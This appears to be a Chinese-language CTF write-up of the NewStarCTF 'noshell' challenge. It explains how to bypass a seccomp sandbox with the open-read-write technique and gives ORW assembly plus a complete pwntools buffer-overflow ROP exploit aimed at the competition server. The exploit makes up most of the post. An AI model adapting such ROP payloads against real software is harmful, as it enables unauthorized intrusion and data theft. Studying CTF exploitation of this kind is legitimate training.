orw,sandbox——newstarctf_noshell

L1rics 发布于 12 天前 41 次阅读


第一次遇到sanbox和orw的题,学到很多,故写详细一点

分析

题目乱起八糟很长,但本质就是用sandbox禁用了和execute相关的全部指令

这时就要考虑用orw方法,也就是open read write直接读出flag的内容

大体的流程如上

这边补充了一下文件标识符fd的知识,fd默认0 1 2是 stdin stdout error 之后开始就可以当作是用open打开 文件的一个代号。

还有个比较使用的小技巧,也就是如果你需要一段内存地址来存放数据,那么不妨试试bss段,但在之前,请用vmmap检查程序内存分区的可读写情况

最后就是我对延迟链接机制的再一次加深,我只需要使用已经有的函数,就不需要泄露地址,并且本题没有开PIE

最后记录下ai写的汇编代码,可以给以后参考

    ; --- open("flag", O_RDONLY) ---
    xor rax, rax
    mov rdi, filename     ; rdi -> "flag"
    xor rsi, rsi          ; O_RDONLY = 0
    mov rax, 2            ; syscall number: open
    syscall
    mov rdi, rax          ; 保存返回的 fd

    ; --- read(fd, buf, 0x50) ---
    mov rsi, buf
    mov rdx, 0x50
    xor rax, rax          ; syscall number: read (0)
    syscall

    ; --- write(1, buf, 0x50) ---
    mov rdi, 1            ; stdout
    mov rax, 1            ; syscall number: write
    syscall

Exp

from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")

elf = ELF("./noshell")
#sh = process("./noshell")
sh = remote("39.106.48.123",18787)

pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
#flag = 0x040206a 不可读
read = elf.plt["read"]
mov_rdi_rax = 0x4013F9 
#_open = 0x4011E0
_open = elf.plt["open"]
#_write = 0x401150
_write = elf.plt["write"]
puts =  0x401140
bss = elf.bss()

sh.recvuntil(b"something?\n")
sh.sendline(str("n"))
sh.recvuntil(b"flag?\n")
sh.sendline(str("2"))
sh.recvuntil(b"choice: ")
sh.sendline(str("2"))
sh.recvuntil(b"choice: ")
sh.sendline(str("1"))
sh.recvuntil(b"something:\n")


payload =(
    b"a"*0x28
    + p64(pop_rdi)
    + p64(0)
    + p64(pop_rsi)
    + p64(bss)
    + p64(pop_rdx)
    + p64(0x50)
    + p64(read) #read "flag\x00"
    
    + p64(pop_rdi)
    + p64(bss)
    + p64(pop_rsi)
    + p64(0)
    + p64(_open) #open flag
    
    + p64(mov_rdi_rax) #save fd
    + p64(pop_rsi)
    + p64(bss)
    + p64(pop_rdx)
    + p64(0x50)
    + p64(read) #read flag
    
    + p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi)
    + p64(bss)
    + p64(pop_rdx)
    + p64(0x50) 
    + p64(_write) #write flag
    
    
)


sh.sendline(payload)
sh.sendline(b"flag")
sh.interactive()
此作者没有提供个人介绍。
最后更新于 2025-10-25